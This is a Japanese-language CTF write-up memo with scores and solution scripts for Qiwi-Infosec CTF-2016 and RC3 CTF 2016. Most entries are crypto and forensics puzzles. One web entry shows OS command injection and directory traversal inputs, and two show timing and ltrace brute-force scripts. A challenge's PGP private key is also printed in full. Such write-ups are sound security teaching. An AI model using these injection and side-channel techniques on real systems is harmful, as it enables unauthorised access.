Qiwi-Infosec CTF-2016, RC3 CTF 2016 メモ
- 結果
- 解いた問題(Qiwi-Infosec CTF-2016)
- 解いた問題(RC3 CTF 2016)
- Salad (Crypto 100)
- Calculus (Crypto 200)
- Cats (Crypto 300)
- goodtime (Misc 150)
- Kalaatu Barada N (Misc 300)
- Who's a good boy? (Web 100)
- Bork Bork (Web 300)
- Some Pang (Forensics 50)
- My Lil Droid (Forensics 100)
- Graphic Design (Forensics 200)
- Dirty Birdy (Forensics 400)
- Logmein (Rev 100)
- What's your virus? (Trivia 20)
- Horse from Tinbucktu (Trivia 30)
- Love Bomb (Trivia 40)
- Infringing memes (Trivia 50)
結果
Qiwi-Infosec CTF-2016
team: 0hM31JI
points: 1600
place: 72(/676)
RC3 CTF 2016
team: 0hM31JI
points: 2465
place: 76(/661)
解いた問題(Qiwi-Infosec CTF-2016)
javascript (Web 100)
javascript obfuscation (javascript難読化)
eval() を console.log() にするとデコード可能なタイプ
難読化されたJavaScriptコードを読む : document
j4v4scr1pt___0bfusc4t10n
PPC 100_2 (PPC 100)
ミラー–ラビン素数判定法(Miller–Rabin primality test)
import os files = os.listdir(".\\encrypted") flag = "" for file in files: if is_probable_prime(int(file)): for line in open(".\\encrypted\\"+file): flag+=line flag = flag.replace("\n","") print(flag)
c93c0f30299130cde942fce8ec5dd0b3012dcfa478a4ab2314ee525098fb779e2812d6731d372bae6d71e220a6
Crypto 100_1 (Crypto 100)
ポリュビオスの暗号表(Polybius square)
1 2 3 4 5 1 A B C D E 2 F G H I K 3 L M N O P 4 Q R S T U 5 V W X Y Z
・暗号化
例) B → 12
行列(ij)の順
・ADFGVX暗号に使われる
encrypted = """52112515_4535_331534 442315_321144422453_231143_543445 213431313452_442315_5223244415_411112122444 2533341325_2533341325_331534 442315_21311122_2443_442315_4423244214_31243315""" def dec_polybius_square(encrypted): decrypted="" square=["abcde","fghik","lmnop","qrstu","vwxyz"] i = 0 while i<len(encrypted): if encrypted[i].isdigit(): decrypted+=square[int(encrypted[i])-1][int(encrypted[i+1])-1] i+=2 else: decrypted+=encrypted[i] i+=1 return decrypted print dec_polybius_square(encrypted)
follow_the_white_rabbit
Crypto 300_1 (Crypto 300)
ディフィー・ヘルマン鍵共有(Diffie-Hellman key exchange、D-H)
・事前の秘密の共有なし
・盗聴の可能性のある通信路を使って
・暗号鍵の共有を可能にする
暗号プロトコル
3人ver
p = 8986158661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251 g = 6 a = 230 b = 250 # g^c C = 5361617800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617 K = pow(C, a*b, p) #g^abc flag = str(K)[:20] print(flag)
38058349620867258480
Crypto 300_2 (Crypto 300)
ディフィー・ヘルマン鍵共有
g^a<pの場合に発生する脆弱性
p= 6703903964971298549787012499102923063739682910296196688861780721860882015036773488400937149083451713845015929093243025426876941405973284973216824503042047 g= 9444732965739290427392 A= 842498333348457493583344221469363458551160763204392890034487820288 # g^a B= 89202980794122492566142873090593446023921664 # g^b import math a = int( math.log(A,g) ) # 3 b = int( math.log(B,g) ) # 2 K = g**(a*b) % p flag = str(K)[:20] print(flag)
70980344169492860405
Crypto 300_3 (Crypto 300)
c= 2044619806634581710230401748541393297937319 n= 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143 import libnum for e in range(2,10): m = libnum.nroot(c,e) if m**e==c: break print "e:",e print "m:",m flag = libnum.n2s(m) print flag
so_low
Crypto 400_1 (Crypto 400)
RSA暗号
同一平文の異なるnによる暗号文がe個得られる場合に発生する脆弱性
中国剰余定理(Chinese remainder theorem)で復号可能
n1 = 95118357989037539883272168746004652872958890562445814301889866663072352421703264985997800660075311645555799745426868343365321502734736006248007902409628540578635925559742217480797487130202747020211452620743021097565113059392504472785227154824117231077844444672393221838192941390309312484066647007469668558141 n2 = 98364165919251246243846667323542318022804234833677924161175733253689581393607346667895298253718184273532268982060905629399628154981918712070241451494491161470827737146176316011843738943427121602324208773653180782732999422869439588198318422451697920640563880777385577064913983202033744281727004289781821019463 n3 = 68827940939353189613090392226898155021742772897822438483545021944215812146809318686510375724064888705296373853398955093076663323001380047857809774866390083434272781362447147441422207967577323769812896038816586757242130224524828935043187315579523412439309138816335569845470021720847405857361000537204746060031 c1 = 64830446708169012766414587327568812421130434817526089146190136796461298592071238930384707543318390292451118980302805512151790248989622269362958718228298427212630272525186478627299999847489018400624400671876697708952447638990802345587381905407236935494271436960764899006430941507608152322588169896193268212007 c2 = 96907490717344346588432491603722312694208660334282964234487687654593984714144825656198180777872327279250667961465169799267405734431675111035362089729249995027326863099262522421206459400405230377631141132882997336829218810171728925087535674907455584557956801831447125486753515868079342148815961792481779375529 c3 = 43683874913011746530056103145445250281307732634045437486524605104639785469050499171640521477036470750903341523336599602288176611160637522568868391237689241446392699321910723235061180826945464649780373301028139049288881578234840739545000338202917678008269794179100732341269448362920924719338148857398181962112 import libnum remainders = [c1,c2,c3] modules = [n1,n2,n3] x = libnum.solve_crt(remainders,modules) m = libnum.nroot(x,3) flag = libnum.n2s(m) print flag
theoretical_computer_scientist_johan_torkel_hastad
解いた問題(RC3 CTF 2016)
Salad (Crypto 100)
シーザー暗号(Caesar cipher)
def rot(*symbols): def _rot(n): encoded = ''.join(sy[n:] + sy[:n] for sy in symbols) lookup = str.maketrans(''.join(symbols), encoded) return lambda s: s.translate(lookup) return _rot encrypted="7sj-ighm-742q3w4t".upper() import string symbols = string.ascii_uppercase+string.digits for i in range(len(symbols)): decrypted = rot(symbols)(i)(encrypted) print(decrypted)
RC3-2016-ROMANGOD
Cats (Crypto 300)
各フレームの猫の数
purr, meow: 猫の鳴き声
a = [14,9,1,20,23,15,5,13] tmp = "" for aa in a: tmp+=chr(ord("A")+aa-1) print(tmp) #NIATWOEM tmp = tmp[::-1] print(tmp) #MEOWTAIN flag = "RC3-2016-"+tmp print(flag)
RC3-2016-MEOWTAIN
goodtime (Misc 150)
入力がflagと先頭から一致していればいるほど、ターンアラウンドタイムが増える
ブルートフォース
import commands import time import string symbols = string.digits + string.letters + '!#$%&()*+,-./:;<=>?@[]^_`{|}~' def f(s,n): start = time.time() out = commands.getstatusoutput("echo '"+s+"' | nc goodtime.ctf.rc3.club 5866") for j in range(n-1): commands.getstatusoutput("echo '"+s+"' | nc goodtime.ctf.rc3.club 5866") tat = time.time()-start print s, ("%.2f" % tat), out return tat flag = "RC3-2016-" for i in range(50): d = {} for c in symbols: s = flag + c d[c] = f(s,1) l = sorted(d.items(), key=lambda x:-x[1]) for c,tat in l[:5]: s = flag + c d[c] = f(s,3) l = sorted(d.items(), key=lambda x:-x[1]) flag += l[0][0] print "flag:", flag
RC3-2016-itz-alw4yz-a-g00d-t1m1ng-@tt@ck
Kalaatu Barada N (Misc 300)
レスポンスが 136行 = 17文字 * 8bit
各文字の各bitがレスポンスの各行と対応している
import commands d = {} head = "RC3-2016-" s = [] def f(): global d,head,s out = commands.getstatusoutput("nc ctf.rc3.club 6050")[1] s = out.split("\n") # print len(s) # 136 = 17 * 8 for i in range(len(head)): c = head[i] b = bin(ord(c))[2:].zfill(8) for j in range(8): idx = i*8+j d[s[idx]]=b[j] def g(): global d,head,s flag = "RC3-2016-" for i in range(len(head),17): b = "" for j in range(8): idx = i*8+j if s[idx] in d: b += d[s[idx]] else: return False flag += chr(int(b,2)) print flag return True while True: f() if g():break
RC3-2016-CHRLSD3D
Bork Bork (Web 300)
OSコマンドインジェクション & ディレクトリトラバーサル(Directory traversal)
複数のコマンドを実行したい時「;」「&」「&&」「||」を挟む
bork=aでsubmit
<iframe width="854" height="480" src="cat: borks/a: No such file or directory?autoplay=1&loop=1" frameborder="0"></iframe>
bork=a&lsでsubmit
<iframe width="854" height="480" src="cat: borks/a: No such file or directory auto_bork.sh bork.ini bork.py bork.pyc borks bork.sock bork.txt static templates wsgi.py wsgi.pyc?autoplay=1&loop=1" frameborder="0"></iframe>
bork=../bork.txtでsubmit
<iframe width="854" height="480" src="RC3-2016-L057d0g3?autoplay=1&loop=1" frameborder="0"></iframe>
RC3-2016-L057d0g3
Some Pang (Forensics 50)
dpkt
・パケットを作成・解析するpythonモジュール
import dpkt, socket pcr = dpkt.pcap.Reader(open("somepang.pcap","rb")) flag = "" for ts, buf in pcr: eth = dpkt.ethernet.Ethernet(buf) ip = eth.data if socket.inet_ntoa(ip.src)=="192.168.1.198":continue icmp = ip.data data = icmp.data.data flag += data[-2:] flag = flag.decode("base64") f=open("flag.jpg","wb") f.write(flag) f.close()
RC3-2016-PANG-ME-LIKE-ONE-OF-YOUR-FRENCH-GORILLAZ
My Lil Droid (Forensics 100)
apkファイル
・Androidアプリのパッケージファイル
・zipとして展開可能
拡張子をzipにして展開
build-data.properties に UkMz-2016-R09URU0yMQ==
print "UkMzR09URU0yMQ==".decode("base64") # RC3GOTEM21
RC3-2016-GOTEM21
Dirty Birdy (Forensics 400)
GPG(GNU Privacy Guard,GnuPG)
・GPLに基づいた暗号化ソフト
imgファイルを展開
secrefilesフォルダ以下において。
git cat-file -p (SHA1のハッシュ) でオブジェクトのコンテンツを見ることが可能
> git cat-file -p 78a8994d17a927b76c303dbe53c65a8fe8ed8fd8 > key
key
-----BEGIN PGP PRIVATE KEY BLOCK----- Version: GnuPG v1 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 bOMsAtIU8D68fbCXhp0VRNs5 =xRo0 -----END PGP PRIVATE KEY BLOCK-----
> gpg --import --allow-secret-key-import key > gpg Workbook1.xlsx.gpg
Workbook1.xlsx(pass: password123)のsheet2にflag
RC3-2016-SNEAKY21
Logmein (Rev 100)
入力がflagと先頭から一致していればいるほど、strlenが呼び出される回数が増える
ブルートフォース
import commands flag="RC3-2016-" for i in range(len(flag), 17): for o in range(ord("A"), ord("Z")+1): c = chr(o) s = flag+c*(17-len(flag)) out = commands.getstatusoutput("echo '"+s+"'| ltrace ./logmein")[1] if out.count("strlen")>=2*(i+3)-1: flag+=c break print flag
RC3-2016-XORISGUD
What's your virus? (Trivia 20)
ILOVEYOU
Horse from Tinbucktu (Trivia 30)
Zeus
Love Bomb (Trivia 40)
Stuxnet
Infringing memes (Trivia 50)
PIPA